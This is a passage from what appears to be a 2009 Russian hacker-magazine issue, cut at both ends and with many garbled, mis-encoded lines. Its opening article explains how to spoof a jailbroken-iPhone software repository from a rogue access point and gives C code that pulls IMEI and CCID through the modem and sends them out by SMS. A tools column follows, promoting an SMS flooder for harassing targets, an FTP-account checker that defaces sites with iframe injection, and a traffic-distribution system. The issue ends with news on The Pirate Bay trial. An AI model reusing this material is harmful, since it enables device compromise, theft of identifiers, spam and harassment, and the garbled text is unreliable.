чтобы они вели на настоящий сервер. Для этого указываем явно его IP-адрес.<br />
Более подробно процесс рассмотрен в уже упомянутой статье «Яблочное<br />
пюре» в мартовском номере z. Затем скачиваем и правим следующие файлы:<br />
http://i.ripdev.com/info/com.ripdev.install-4.1-<br />
2.0.plist<br />
http://i.ripdev.com/info/com.ripdev.install-4.1-<br />
2.1.plist<br />
http://i.ripdev.com/info/com.ripdev.install-4.1-<br />
2.2.plist<br />
Меняем ключ version на такой же, какой поставили в предыдущих<br />
конфигах. Затем редактируем ключи size и hash. Это размер и md5 хеш<br />
от файла с нашим поддельным приложением, которое пользователи<br />
будут себе устанавливать. Остается только разместить само поддельное<br />
приложение на роутере вместе с конфигами (то есть создать директорию<br />
/www/info и /www/packages/System), ну и записать туда все вышеописанные<br />
файлы.<br />
БОНУС. КОДИМ ПОД IPHONE<br />
Как будем проверять работоспособность нашего терминатора? А пусть<br />
сами жертвы известят нас с помощью sms (заодно — получим телефонный<br />
номер отправителя). Достаточное доказательство? Напишем<br />
приложение и повесим его демоном на захваченные iPhone. Забудь про<br />
xcode и Apple SDK, пользоваться будем грубым мужским gcc. Компилятор<br />
можно поставить прямо на телефон через Cydia. Или на компьютер:<br />
http://code.google.com/p/iphone-dev/wiki/Building<br />
http://code.google.com/p/winchain/<br />
Отправлять SMS будем через AT команды устройству /dev/tty.debug.<br />
Эта консоль модема используется для отладки и присутствует на всех<br />
iPhone/iPhone 3g. Ни одно приложение по умолчанию не использует это<br />
устройство — то, что доктор прописал! Великий и могучий code.google.<br />
com уже имеет проект с нужным нам функционалом. Велосипед изобретать<br />
не будем и некоторые функции просто позаимствуем оттуда:<br />
http://code.google.com/p/iphone-sms<br />
Из этого проекта мы возьмем функцию InitConn — подключение к<br />
модему, CloseConn — отключение от модема, SendCmd — отправка AT команды<br />
модему и ReadResp — чтение ответа от модема. Приведу пример<br />
068<br />
Аккумулятор от ноутбука. Из всех контактов нам понадобятся только два<br />
значимых строк кода (сам проект можно найти на нашем DVD):<br />
int InitConn(int speed)<br />
{<br />
int fd = open("/dev/tty.debug", O_RDWR | O_NOCTTY);<br />
if(fd == -1) {<br />
fprintf(stderr, "%i(%s)\n", errno, strerror(errno));<br />
exit(1);<br />
}<br />
ioctl(fd, TIOCEXCL);<br />
fcntl(fd, F_SETFL, 0);<br />
...<br />
return fd;<br />
}<br />
void CloseConn(int fd)<br />
{<br />
tcdrain(fd);<br />
tcsetattr(fd, TCSANOW, &gOriginalTTYAttrs);<br />
close(fd);<br />
}<br />
void SendCmd(int fd, void *buf, size_t size)<br />
{<br />
if(write(fd, buf, size) == -1) {<br />
fprintf(stderr, "SendCmd error. %s\n",<br />
strerror(errno));<br />
exit(1);<br />
}<br />
}<br />
Подумаем над содержанием сообщения. Предлагаю для однозначности<br />
скидывать с захваченных телефонов ни много, ни мало — а IMEI и CCID.<br />
Это сделает наши доказательства успешной атаки более весомыми.<br />
Получать данные мы тоже будем через AT команды. Функцию ReadResp я<br />
немного допишу, чтобы находить ответы за запросы IMEI и CCID и записывать<br />
их в переменную message. Выйдет примерно так:<br />
if (strstr(readbuf,"+CMGW:")!=NULL) {<br />
smsIndex = atoi(&readbuf[strlen(message)+10]);<br />
}<br />
else if (strstr(readbuf,"+CCID:")!=NULL) {<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Для отладки оборудования, в частности, точек доступа используется разъем JTAG. Производитель не всегда его распаивает<br />
strncpy(message, &readbuf[17], 20);<br />
}<br />
else if (strstr(readbuf,"AT+CGSN")!=NULL) {<br />
UCHAR temp[15];<br />
strncpy(temp, &readbuf[10], 15);<br />
sprintf(message,"%s-%s",message,temp);<br />
}<br />
Осталось лишь написать main функцию, в которую мы<br />
заложим весь функционал. Сначала получаем CCID, потом<br />
— IMEI, затем отправляем сообщение.<br />
Я пытался сделать код как можно понятнее, а не наиболее<br />
коротким или красивым. Во всяком случае, он работает, а<br />
оптимизировать будем потом. Собранный вариант вышел 14<br />
Кб — немало, но этого вполне хватит, чтобы быстро залить<br />
на жертву через 802.11g. Опять же, оптимизацией займемся<br />
в следующей статье. Догадайся, что будет, если попытаться<br />
выполнить наше творение? Отправка SMS, да? Нет, — ничего<br />
не будет, ядро телефона просто убьет процесс, не дав ему<br />
ничего исполнить. Хитрость в том, что телефон выполняет<br />
только подписанные программы. Разработчики хорошо постарались<br />
на этот счет. Чтобы код работал, надо подписывать<br />
его перед исполнением на каждом телефоне с помощью<br />
программы ldid. Она устанавливается вместе со всеми неофициальными<br />
программами из Cydia. Мы рассчитываем,<br />
что у нашей жертвы такая программа будет (об остальных<br />
вариантах поговорим в следующей статье).<br />
ВОЙНА ВОЙНОЙ, А ПИТАНИЕ ПО РАСПИСАНИЮ<br />
Нашему терминатору не хватает только автономного источника<br />
питания. Действительно, стационарная точка доступа —<br />
это хорошо, а мобильная куда лучше. Существуют два способа<br />
решить проблему: переносной аккумулятор и адаптер питания<br />
от автомобильного прикуривателя. Для начала смотрим на<br />
штатный адаптер питания точки доступа и видим что-нибудь<br />
похожее на 12 В, 1 А. Автомобильный прикуриватель даст<br />
как раз 12 В, но мгновенные значения за счет шумов могут<br />
колебаться от 8 от 16 вольт. Перебои в работе нам не нужны,<br />
поэтому стоит воспользоваться адаптером с шумоподавителем.<br />
Схема такого устройства нашлась быстро:<br />
rlocman.ru/shem/schematics.html?di=33999<br />
Если не заморачиваться и подключать терминатора после<br />
зажигания, то можно рискнуть — напрямую подключиться<br />
к прикуривателю. Также дешево и сердито — воспользоваться<br />
адаптером от GPS-навигатора, он как раз будет 12<br />
В, 1 А и с шумами как-нибудь справится. Еще есть вариант<br />
установить автомобильный адаптер инвертер 12/220 В<br />
(можно брать от 50 В мощности). Что касается переносных<br />
аккумуляторов, то подключаться стоит к обычному<br />
ноутбучному. Подсчитаем: аккумулятор для ноутбука при<br />
12 В дает 4.8 А/ч — то есть, почти пять часов работы при<br />
потреблении в 1 А. Отмечу, что это пиковый ток, потребляемый<br />
точкой. Среднее значение будет меньше, — а значит,<br />
время работы заведомо больше 5 часов. С аккумулятора<br />
надо будет снимать только + и -, логические контакты<br />
оставь в покое. Узнать распайку контактов можно либо по<br />
наклейке на аккумуляторе, либо с помощью тестера. Надеюсь,<br />
приведенной здесь информации будет достаточно,<br />
чтобы запитать терминатора.<br />
НЕДАЛЕКОЕ БУДУЩЕЕ<br />
В последнее время производительность и скорость<br />
подключения к интернету мобильных устройств сильно<br />
растут. В недалеком будущем, а вернее, уже почти<br />
настоящем, вырисовываются четкие перспективы мобильных<br />
ботнетов. Эти устройства практически всегда<br />
онлайн, имеют несколько способов подключения к<br />
Сети, при этом — есть GPS-навигация. Они всегда находятся<br />
рядом со своими владельцами и часто содержат<br />
конфиденциальную инфу. Я думаю, причин для хака<br />
более чем достаточно! Сегодня я попытался рассказать,<br />
как без особых усилий сделать устройство, способное<br />
получать доступ к Apple iPhone в автоматическом режиме.<br />
Перемещаясь с таким терминатором по улицам,<br />
можно собрать целую мобильную армию, готовую в любой<br />
момент произвести DDoS-атаку или распределено<br />
вычислить значение хеш-функции. В следующей статье<br />
я опишу процесс создания трояна для iPhone. Он способен<br />
получать команды с сервера хозяина, отправлять<br />
различными способами данные с телефона, выполнять<br />
шелл-команды, собирать статистику, генерировать<br />
трафик на определенный ресурс и... что-нибудь еще,<br />
что успею придумать. z<br />
info<br />
•Точка доступа<br />
обладает рядом<br />
преимуществ перед<br />
ноутбуком, например:<br />
размеры, вес,<br />
энергопотребление,<br />
стоимость, разъем<br />
внешней антенны.<br />
•В мартовском<br />
номере z за 2009<br />
год были описаны<br />
эксплуатируемые<br />
атаки. Если остались<br />
вопросы — перечитай<br />
подшивку.<br />
XÀÊÅÐ 04 /124/ 09<br />
069
взлом<br />
ЛЕОНИД «R0ID» СТРОЙКОВ<br />
/ R0ID@BK.RU /<br />
Программы для хакеров<br />
>> взлом<br />
ПРОГРАММА:WEBSMSENDER<br />
ОС: WINDOWS 2000/XP<br />
АВТОР:CYLAAAAN<br />
уже сформированных пакетов SMS-сервису<br />
для дальнейшей рассылки, тулза умеет:<br />
1. Ôîðìèðîâàòü ñïàì-ëèñò òåëåôîííûõ<br />
íîìåðîâ èç ôàéëà<br />
2. Ôîðìèðîâàòü ëèñò ñ àêêàóíòàìè<br />
âèäà «ëîãèí:ïàðîëü» äëÿ ñåðâèñà www.<br />
websms.ru èç ôàéëà, ëèáî âðó÷íóþ<br />
3. Âåñòè ïîäðîáíûé ëîã íà ïðîòÿæåíèè<br />
âñåé ñìñ-ðàññûëêè<br />
Мутим sms-рассылки<br />
В последнее время sms-рассылки становятся<br />
все более актуальными. Увы, на большинстве<br />
биллингов давно введена платная регистрация,<br />
а паблик-сервисы не позволяют массово отсылать<br />
сообщения (я уже не говорю о подмене номера<br />
отправителя). В этой ситуации рекомендую<br />
тебе обратить внимание на утилу под названием<br />
«Websmsender». Тулза работает через известный<br />
смс-сервис — www.websms.ru. Дабы лучше<br />
понять функциональные особенности утилы,<br />
рассмотрим сначала возможности sms-сервиса,<br />
а затем — саму тулзу. Итак, сервис позволяет:<br />
1. Îòñûëàòü sms-ñîîáùåíèÿ<br />
2. Àâòîìàòèçèðîâàòü ðàññûëêè<br />
3. Ïðîèçâîäèòü ïîäìåíó íîìåðà îòïðàâèòåëÿ<br />
4. Îñóùåñòâëÿòü ðàññûëêè ïî ñîçäàííîìó<br />
ðàñïèñàíèþ<br />
5. Ôîðìèðîâàòü ñîáñòâåííóþ ÁÄ ðàññûëîê<br />
При регистрации на новый аккаунт зачисляются<br />
пять бесплатных sms — для теста (правда,<br />
без возможности подмены номера отправителя).<br />
Если ограничения тебя не устраивают —<br />
прейскурант в студию, а именно: от 10 до 1к SMS<br />
по цене в 1.4 рубля, от 1к до 3к приобретаемых<br />
SMS — по 1.3 рубля за каждое сообщение и т.д.<br />
Теперь рассмотрим программу, с помощью<br />
которой мы и будет рассылать сообщения, либо<br />
флудить недоброжелателей. Кроме отправки<br />
Плюс ко всему — отдельное меню настроек,<br />
таких как: номер отправителя, количество<br />
сообщений, отправляемых на каждый номер,<br />
и время доставки SMS. Последняя функция<br />
особенно удобна при флуде часа в 2-3 ночи, по<br />
часовому поясу жертвы :).<br />
В общем, — иные способы sms-спама никто не<br />
отменял, но чем не вариант, да еще и с бесплатными<br />
тестовыми смс-ками?<br />
P.S. Учитывая, что все sms-сервисы со временем<br />
начинают «закручивать гайки», советую<br />
поспешить и полноценно заюзать тулзу.<br />
ПРОГРАММА: CHARON<br />
ОС: WINDOWS 2000/XP<br />
АВТОР: RHINO<br />
Прокси/соксы — неотъемлемая часть безопасного<br />
веб-серфинга (полагаю, об этом не стоит и<br />
напоминать). Собрать прокси-лист — несложно,<br />
сложно — качественно его прочекать по<br />
заданным параметрам. В прошлых выпусках<br />
X-Tools я не раз знакомил тебя с утилами, призванными<br />
облегчить проверку прокси/соксов<br />
на живучесть. Тем не менее, хочу обратить внимание<br />
на еще одну — под названием Charon.<br />
Если ты активно юзаешь эту софтину, то без<br />
труда поймешь меня, а если еще нет — поверь<br />
на слово, тулза заслуживает особого внимания.<br />
Прога позволяет чекать работоспособность,<br />
функциональность и анонимность проксиков<br />
по необходимым тебе параметрам. Среди функциональных<br />
особенностей утилы отметим:<br />
— Óïðàâëåíèå íàñòðîéêàìè ñîåäèíåíèÿ<br />
(êîëè÷åñòâî ïîòîêîâ/ïîðòû/etc)<br />
— Ìíîãîóðîâíåâàÿ ôèëüòðàöèÿ IP-àäðåñîâ<br />
(ïî àäðåñó/ïîðòó/ñòðàíå/etc)<br />
— Âîçìîæíîñòü èìïîðòà/ýêñïîðòà<br />
ïðîêñè-ëèñòîâ<br />
Чекаем прокси-листы<br />
— Âçàèìîäåéñòâèå ñî ñïèñêàìè ñåòåâûõ<br />
ñêàíåðîâ «AngryIPScanner»<br />
è «Superscanner» ïðè ñîñòàâëåíèè<br />
ïðîêñè-ëèñòîâ<br />
— ×åêèíã ïðîêñèêîâ ïðè ïîìîùè RBLñåðâèñîâ<br />
(Realtime Blackhole List)<br />
— Àâòîìàòè÷åñêèé ïîèñê ïàáëèê-ëèñòîâ<br />
ïðè ïîìîùè ïîèñêîâûõ ñèñòåì<br />
— Ïðîâåðêà ðàçëè÷íûõ òèïîâ ïðîêñèêîâ<br />
(http/ssl/socks4/5)<br />
— Ïðîâåðêà ñêîðîñòè ñîåäèíåíèÿ<br />
ïðîêñè-ñåðâåðà<br />
— Âîçìîæíîñòü ñîçäàíèÿ è âåäåíèÿ<br />
áëåê-ëèñòà ïðîêñèêîâ<br />
— Íàëè÷èå áàçû GeoIP, ÷òî ïîçâîëÿåò<br />
êîððåêòíî îïðåäåëÿòü ñòðàíû, â êîòîðûõ<br />
ðàñïîëàãàþòñÿ ïðîêñè<br />
— Íàëè÷èå ðóñèôèöèðîâàííîé âåðñèè<br />
(îòäåëüíîå thx to v1ru$, — Ïðèì.<br />
àâòîðà)<br />
P.S. Смело сливаем утилиту с нашего DVD.<br />
ПРОГРАММА: FTP-CHECK TOOLZ<br />
ОС: *NIX/WIN<br />
АВТОР: JENIZIX<br />
Несмотря на обилие различных FTP-чекеров,<br />
потребность в надежном и стабильном продукте<br />
остается. Посему предлагаю расширить<br />
выбор еще одной утилой: «ftp-check toolz».<br />
Тулза представляет собой классический чекер<br />
фтп-акков с расширенными возможностями.<br />
Начнем, как водится, с возможностей софтины:<br />
— ×åêèíã íà âàëèäíîñòü FTP-àêêàóíòîâ<br />
— Ìîäèôèêàöèÿ index-ôàéëîâ, êàê<br />
70<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
ПРОГРАММА: [XDS] TDS<br />
ОС: *NIX/WIN<br />
АВТОР: XADDIS<br />
Чекаем фтп-акки<br />
ïîëíîñòüþ, òàê è ñ äîáàâëåíèåì<br />
iframe-âñòàâêè<br />
— Àïëîàä ïðîèçâîëüíîãî ôàéëà íà ñåðâåð<br />
â êîðåíü âåá-êàòàëîãà<br />
— Âîçìîæíîñòü çàãðóçêè ôàéëà ñ ôòïàêêàóíòàìè<br />
äëÿ ïðîâåðêè ÷åðåç âåáèíòåðôåéñ<br />
÷åêåðà<br />
— Ïîëó÷åíèå èíôîðìàöèè î ñèñòåìå<br />
(ðàáîòàåò íå âñåãäà è íå âåçäå)<br />
— Âîçìîæíîñòü ïðèîñòàíîâêè ïðîâåðêè<br />
ñ ïîñëåäóþùèì åå ïðîäîëæåíèåì (óæå<br />
ïðî÷åêàííûå àêêàóíòû ïðîâåðÿòüñÿ ïî<br />
âòîðîìó ðàçó íå áóäóò)<br />
— Ïîëíîå ëîãèðîâàíèå, âêëþ÷àÿ:<br />
1. FTP_valid.txt — âàëèäíûå àêêè<br />
2. FTP_invalid.txt — íåâàëèäíûå àêêè<br />
3. FTP_defaced.txt — «çàäåôåéñåííûå» àêêè<br />
4. FTP_unknown.txt — îøèáêà ñîåäèíåíèÿ<br />
ñ ñåðâåðîì<br />
5. FTP_info.txt — àêêè, ñ ïîìîùüþ<br />
êîòîðûõ óäàëîñü ïîëó÷èòü èíôîðìàöèþ<br />
î ñèñòåìå<br />
— Ïîääåðæèâàåòñÿ ñòàíäàðòíûé âèä<br />
ôòï-àêêàóíòîâ èç ëîãîâ/êîíôèãîâ:<br />
«ftp://login:pass@server» èëè<br />
«login:pass@server»<br />
Для работы скрипта потребуется PHP не ниже 4<br />
версии, а также chmod 777 на каталог, в котором<br />
лежит чекер. Скрипт прекрасно работает на<br />
бесплатных хостингах, правда, со скоростью<br />
1-2 акка в секунду. Для увеличения скорости<br />
рекомендуется использовать чекер на сервере<br />
с более широким каналом.<br />
ПРОГРАММА: GUARDMOBILE<br />
ОС: WINDOWS MOBILE 5/6<br />
АВТОР:MASPWARE<br />
Тебе никогда не приходила мысль установить<br />
бэкдор в собственный мобильник? Софтина<br />
«GuardMobile» рассчитана на коммуникаторы<br />
под управлением Windows Mobile и призвана<br />
защитить не только твой девайс, но и информацию<br />
на нем. Даже если твой мобильник будет<br />
украден или утерян, ты все равно сможешь:<br />
— Âêëþ÷èòü òðåâîãó (çâóêîâóþ/âèáðàöèîííóþ)<br />
è çàáëîêèðîâàòü äåâàéñ<br />
— Óñòàíîâèòü ìåñòîïîëîæåíèå ñâîåãî<br />
àïïàðàòà (ïðè íàëè÷èè GPS-ïðèåìíèêà)<br />
— Ñäåëàòü õàðä-ðåñåò è óäàëèòü âñþ<br />
èíôîðìàöèþ ñ ìîáèëüíèêà<br />
— Óäàëåííî ïîçâîíèòü ñî ñâîåãî<br />
äåâàéñà â ôîíîâîì ðåæèìå (àíàëîã<br />
ïðîñëóøêè)<br />
Нужно лишь заинсталить утилиту на свой мо-<br />
XÀÊÅÐ 04 /124/ 09<br />
Защищаем коммуникатор<br />
бильник и задать ряд настроек. Тулза попросит<br />
установить PIN-код и добавить несколько номеров<br />
мобильных телефонов, с которых можно<br />
будет управлять девайсом. После активации<br />
утила незаметно начнет работать в фоновом<br />
режиме до тех пор, пока не получит команды на<br />
совершение какого-либо действия.<br />
Из возможностей софтины можно выделить:<br />
— Ìàëûé ðàçìåð<br />
— Çàïóñêàåòñÿ è ðàáîòàåò â ôîíîâîì<br />
ðåæèìå.<br />
— Îñòàåòñÿ ðàáîòîñïîñîáíîé äàæå<br />
ïîñëå ñîôò-ðåñåòà<br />
— Ìîæåò áûòü ïîëíîñòüþ óäàëåíà òîëüêî<br />
âëàäåëüöåì<br />
— Îïðåäåëåíèå ìåñòîïîëîæåíèÿ ñ ïîìîùüþ<br />
GPS-ïðèåìíèêà<br />
— Àêòèâàöèÿ/äåàêòèâàöèÿ áëîêèðîâêè<br />
ýêðàíà<br />
— Àêòèâàöèÿ/äåàêòèâàöèÿ áëîêèðîâêè<br />
êëàâèàòóðû<br />
— Ðåæèì òðåâîãè (ãðîìêèé çâóê è âèáðàöèÿ)<br />
— Îáðàòíûé âûçîâ<br />
— Ñîôò-ðåñåò/õàðä-ðåñåò äëÿ ÷àñòè÷íîãî<br />
è ïîëíîãî óäàëåíèÿ äàííûõ ñ<br />
ìîáèëüíèêà<br />
— Óâåäîìëåíèå î ñìåíå SIM-êàðòû<br />
— Âåäåíèå ïîëíîãî ëîãà ñîáûòèé<br />
Как ты уже понял, утила абсолютно не<br />
зависит от симки, вставленной в телефон.<br />
Ведь работает она под мобильной версией<br />
Винды. Сменят симку или нет — разницы<br />
никакой, в твоих руках останется управление<br />
утерянным девайсом с помощью вот<br />
этих команд:<br />
locate : Ïîïûòàòüñÿ îïðåäåëèòü ìåñòîïîëîæåíèå<br />
óñòðîéñòâà<br />
lock : Çàáëîêèðîâàòü ýêðàí<br />
unlock : Ðàçáëîêèðîâàòü ýêðàí<br />
keylock : Çàáëîêèðîâàòü êëàâèàòóðó<br />
alarmon : Âêëþ÷èòü çâóêîâóþ òðåâîãó<br />
è âèáðàöèþ<br />
alarmoff : Âûêëþ÷èòü òðåâîãó<br />
callback : Çàñòàâèòü òåëåôîí ïåðåçâîíèòü<br />
òåáå<br />
softreset/hardreset : çäåñü, äóìàþ,<br />
ïîíÿòíî :)<br />
Общий вид синтаксиса команд выглядит так:<br />
#PIN#команда.<br />
В общем, если ценишь свой мобильный девайс<br />
— эта утила для тебя :).<br />
Конфигурируем систему управления трафиком<br />
О распределении трафика мы уже писали<br />
(полистай подшивку z). В нынешнем выпуске<br />
хочу представить тебе систему управления<br />
трафиком под названием [XDS] TDS. Система<br />
написана на PHP, и ее установка не вызовет у<br />
тебя никаких проблем. Достаточно следовать<br />
простому алгоритму действий:<br />
— Çàëèâàåì âñå ôàéëû èç àðõèâà ñ<br />
òóëçîé íà ñåðâåð<br />
— Ñòàâèì íà ïàïêó ñ ôàéëàìè ÷ìîä 777<br />
— Íàñòðàèâàåì config.php ïîä ñâîè<br />
íóæäû<br />
О конфиге более подробно:<br />
### Äèðåêòîðèÿ þçåðîâ ###<br />
$usersdir='users';<br />
### Ôàéë âñåõ ïîñåùåíèé ###<br />
$clickf='clicks.txt';<br />
### Ôàéë óíèêàëüíûõ ïîñåùåíèé ###<br />
$unicf='unics.txt';<br />
### Ôàéë áëîêèðîâêè ###<br />
$blockf='blocked';<br />
### Ôàéë âðåìåíè çàïóñêà ñòàòû ###<br />
$startf='start.txt';<br />
### Ôàéë ñ ïðåäûäóùèìè çíà÷åíèÿìè<br />
ñòàòû ###<br />
$prevf='previous.txt';<br />
### Ôàéë ðåäèðåêòà ###<br />
$redf='redir.txt';<br />
### Àäðåñ äëÿ ðåäèðåêòà ïî óìîë÷àíèþ<br />
### $host='http://www.site.com';<br />
### Àäðåñ äëÿ ðåäèðåêòà íåóíèêîâ ###<br />
# $hostn='http://www.sites.com';<br />
### Ïàðîëü äëÿ äîñòóïà ê ñòàòå ###<br />
$passw='123';<br />
Теперь обновляем конфиг на сервере и<br />
вперед:<br />
— Ïóñêàåì âåñü òðàôô íà ñêðèïò<br />
iframe.php<br />
— Äëÿ ïðîñìîòðà ñòàòèñòèêè çàïóñêàåì<br />
ñêðèïò stat.php<br />
Вот, собственно, и все. Система проста<br />
в администрировании и удобна в<br />
использовании.z<br />
71
сцена<br />
МАРИЯ «MIFRILL» НЕФЕДОВА<br />
/ MIFRILL@RIDDICK.RU /<br />
МЕДИА-МАГНАТЫ ПРОТИВ BITTORRENT<br />
Судебный процесс по<br />
делу The Pirate Bay<br />
Всемирная паутина — настоящее благо для всего прогрессивного человечества, но для правообладателей это форменный кошмар. Пиратство<br />
XXI века, совсем не похожее на пиратство былых времен, в основном разворачивается в виртуальном пространстве, и как именно с ним бороться,<br />
до хрипоты спорят аналитики по всему миру. Но пока одни теоретизируют, другие предпочитают действовать. Судебный процесс по делу крупнейшего<br />
торрент-трекера планеты, — ThePirateBay.org — развернувшийся в Швеции, пожалуй, оставит заметный след в истории интернета. Еще бы,<br />
на этот раз пираты имеют все шансы выиграть.<br />
занимается ничем противозаконным, скорее,<br />
просто объединяет единомышленников,<br />
жаждущих бороться с системой. Вот и создание<br />
торрент-трекера «Пиратское бюро» одобрило<br />
и осуществило, но уже в 2004-м отправило его<br />
в свободное плавание. С тех пор TPB является<br />
независимым ресурсом.<br />
На протяжении последних лет трекер поддерживают<br />
три шведских парня, имена которых<br />
теперь прекрасно известны всему миру: это<br />
Готтфрид Свартхольм (Gottfrid Svartholm aka<br />
«anakata»), Фредерик Нейж (Fredrik Neij aka<br />
Свартхольм и Сунди на пресс-конференции<br />
Нейдж (слева) и Сунди (справа) в здании суда<br />
«В ШВЕЦИИ ВОЗНИКЛА ПИРАТСКАЯ ПАР-<br />
ТИЯ, ЕДИНСТВЕННЫЙ ПУНКТ ПРОГРАММЫ<br />
КОТОРОЙ — ЛЕГАЛИЗАЦИЯ СВОБОДНОГО<br />
КОПИРОВАНИЯ ВИДЕО И АУДИОМАТЕРИА-<br />
ЛОВ ИЗ ИНТЕРНЕТА».<br />
Перед тем как перейти<br />
непосредственно<br />
к хронике процесса,<br />
стоит сказать<br />
о самом трекере,<br />
оказавшемся между<br />
молотом и наковальней.<br />
Хотя вряд<br />
ли найдутся такие,<br />
кому незнаком<br />
адрес ThePirateBay.org – сокращенно TPB, а<br />
по-русски – «Пиратская бухта». Трекер зародился<br />
еще в 2003 году под эгидой шведской<br />
организации Piratbyran («Пиратское бюро»).<br />
Бюро активно выступает против ситуации, сложившейся<br />
вокруг интеллектуальной собственности<br />
и ратует за свободу обмена информацией.<br />
Притом сама организация, разумеется, не<br />
«TiAMO») и Питер Сунде Колмисоппи (Peter<br />
Sunde Kolmisoppi aka «brokep»). Вот они-то<br />
и «попали под раздачу» вместе с владельцем<br />
хостинга — 48-летним бизнесменом Карлом<br />
Лундстремом (Carl Lundstrom).<br />
Применить санкции в отношении «Пиратской<br />
бухты» пытаются уже давно. Еще в 2006-м году<br />
сервера трекера отключали и арестовывали,<br />
притом сделано это было практически по<br />
прямой указке Соединенных Штатов. Тогда<br />
голливудские магнаты решили преподать урок<br />
европейским корсарам, и, избрав своей мишенью<br />
TPB, надавили на нужные рычаги. К делу<br />
подключили тяжелую артиллерию — Вашингтон,<br />
правоохранительные органы, ФБР и так<br />
далее. В итоге, власти Швеции сочли нужным<br />
прислушаться к мнению Запада и произвели<br />
образцово-показательную конфискацию серверов<br />
(включая те, на которых тогда располагалось<br />
«Пиратское бюро»). Но вся соль в том,<br />
что по шведским законам TPB – совершенно<br />
легален, а законодательство США никакой<br />
силы в Европе не имеет.<br />
Скандал разразился нешуточный: на правительственные<br />
сайты Швеции не замедлили<br />
обрушиться DDoS-атаки и взломы от хакеров со<br />
всего мира, и быстро стало ясно, что конфликт<br />
носит политический и идеологический характер.<br />
Например, именно из-за того инцидента в<br />
Швеции возникла Пиратская партия, единственный<br />
пункт программы которой — легализация<br />
свободного копирования видео- и аудиоматериалов<br />
из интернета. А так как в Швеции<br />
очень много людей, недовольных нынешней<br />
ситуацией с копирайтами, наличествовали и<br />
072<br />
XÀÊÅÐ 04 /124/ 09
сцена<br />
уличные демонстрации и прочие «стандартные<br />
атрибуты».<br />
Тогда, в 2006-м, под давлением общественного<br />
мнения, власти были вынуждены вернуть сервера<br />
владельцам (разумеется, проведя перед<br />
этим тщательные проверки). Самих админов не<br />
забыли допросить, после чего тоже отпустили<br />
на все четыре стороны. Однако трекер, конечно,<br />
не перестал быть бельмом на глазу у крупнейших<br />
медиа-холдингов, и было очевидно, что<br />
рано или поздно история получит продолжение,<br />
тем более, на руках властей осело столько<br />
улик. Так и случилось.<br />
РАССТАНОВКА СИЛ С одной стороны, с<br />
прогрессом бороться невозможно, особенно<br />
когда все настолько «запущено», как в случае с<br />
p2p-сетями. С другой, – очень хочется, и никто<br />
не мешает попробовать (плюс, прецеденты с<br />
Napster, Audiogalaxy или KaZaA сулят успех).<br />
Технология BitTorrent сейчас находится в<br />
зените славы, и «закрыть торренты» — голубая<br />
мечта всех гигантов медиа-индустрии.<br />
«Пиратскую бухту» выбрали мишенью тоже<br />
совсем не случайно, ведь этот трекер, пожалуй,<br />
можно назвать «лицом технологии» — торрентресурсов<br />
много, но TPB крупнейший. Вдумайся<br />
Питер Сунди<br />
Адвокат защиты Пер Самуэльсон, автор<br />
«защиты Кинг-Конга»<br />
XÀÊÅÐ 04 /124/ 09<br />
в эти цифры: на момент окончания 2008 года<br />
TPB мог похвастаться более чем 3 миллионами<br />
зарегистрированных пользователей, более чем<br />
25 миллионами уникальных пиров, а на сайте<br />
Alexa Internet трекер занимает 107 место.<br />
Админы TPB — ребята не из пугливых. К ним<br />
не раз и не два обращались представители<br />
Microsoft, Apple, SEGA, DreamWorks, Warner<br />
Bros и других динозавров рынка, но администрация<br />
всегда и всем отвечала решительным<br />
отказом. Ни одна раздача не была удалена с<br />
трекера по просьбе правообладателей, такова<br />
принципиальная позиция админов. Кстати, историю<br />
переписки команды сайта с различными<br />
компаниями и инстанциями можно почитать по<br />
адресу thepiratebay.org/legal, правда, для этого<br />
потребуется знание английского языка. Отметим,<br />
что наглости и чувства юмора админам не<br />
занимать — многие письма носят откровенно<br />
издевательский характер. Отвечавший на<br />
e-mail Свартхольм не стеснялся в выражениях,<br />
объясняя разгневанным магнатам, что<br />
в Швеции законы США — пустой звук. При<br />
таком подходе неудивительно, что «Пиратская<br />
бухта» для сетевой публики стала настоящим<br />
символом информационной свободы, а для<br />
правообладателей — кандидатом номер один<br />
на закрытие.<br />
НА АБОРДАЖ! Ответный удар по TPB<br />
индустрия развлечений нанесла 31 декабря<br />
2008, очевидно, решив для полноты эффекта<br />
испортить всем праздник. Вспомнив старый<br />
добрый принцип «против кого дружить<br />
будем?», компании Warner Bros., MGM Pictures,<br />
Columbia Pictures, 20th Century Fox и Sony BMG<br />
подали коллективный гражданский иск против<br />
Свартхольма, Нейджа, Сунде и Лундстерма.<br />
Нота протеста сильных мира сего шла рука об<br />
руку с очередным иском «местного значения»<br />
— шведские власти снова взялись за трекер,<br />
обвинив уже упомянутых лиц в содействии<br />
нарушению закона об авторском праве,<br />
грозящим им тюремным заключением до двух<br />
лет и штрафом в размере до $188.000. Может<br />
быть, все это звучало бы внушительно, если бы<br />
Голливуд в свою очередь не требовал компенсации<br />
порядка 14 миллионов долларов.<br />
После объявления этой новости в Сети сразу же<br />
возник большой резонанс. Практически всем<br />
было ясно, что судить будут не столько этих<br />
четырех человек, сколько некое абстрактное<br />
«сетевое пиратство», и итог процесса может<br />
иметь далеко идущие последствия.<br />
Команда The Pirate Bay, однако, унывать не спешила.<br />
Вместо этого они собрали пресс-конференцию,<br />
в ходе которой много шутили и открыто<br />
называли грядущее разбирательство «шоу и<br />
фарсом». К тому же, ребята окрестили процесс<br />
метким словечком «Spectrial» (производным<br />
от «spectacle trial» — суда-спектакля). По этому<br />
тэгу очень удобно искать в Сети информацию о<br />
ходе слушания :).<br />
Миллионные компенсации админов тоже не<br />
испугали. В частности, Питер Сунде заявил:<br />
«Неважно, сколько они потребуют — несколько<br />
миллионов или миллиардов. Мы не богачи и<br />
у нас нет денег, чтобы платить. Они не получат<br />
ни цента». Готтфрид Свартхольм его полностью<br />
поддержал: «У меня в Швеции и так столько<br />
долгов, что мне никогда их не выплатить. Я даже<br />
здесь не живу. Пусть присылают мне счет — я<br />
повешу его в рамочку на стену». В ходе общения<br />
с прессой было особенно подчеркнуто, что на<br />
этот раз иск выдвинут не против сайта в целом, а<br />
против четырех конкретных личностей, и обвинение<br />
явно собирается сфокусироваться на них.<br />
В пример привели тот факт, что Готтфрида на<br />
допросе сначала попросили рассказать о своих<br />
политических и идеологических взглядах, а<br />
вовсе не о его участии в деятельности TPB.<br />
073
сцена<br />
ПЕРВЫЙ РАУНД: ДЕЛО О ПОД-<br />
МОЧЕННОЙ РЕПУТАЦИИ На слушание,<br />
начавшееся 16-го февраля этого года,<br />
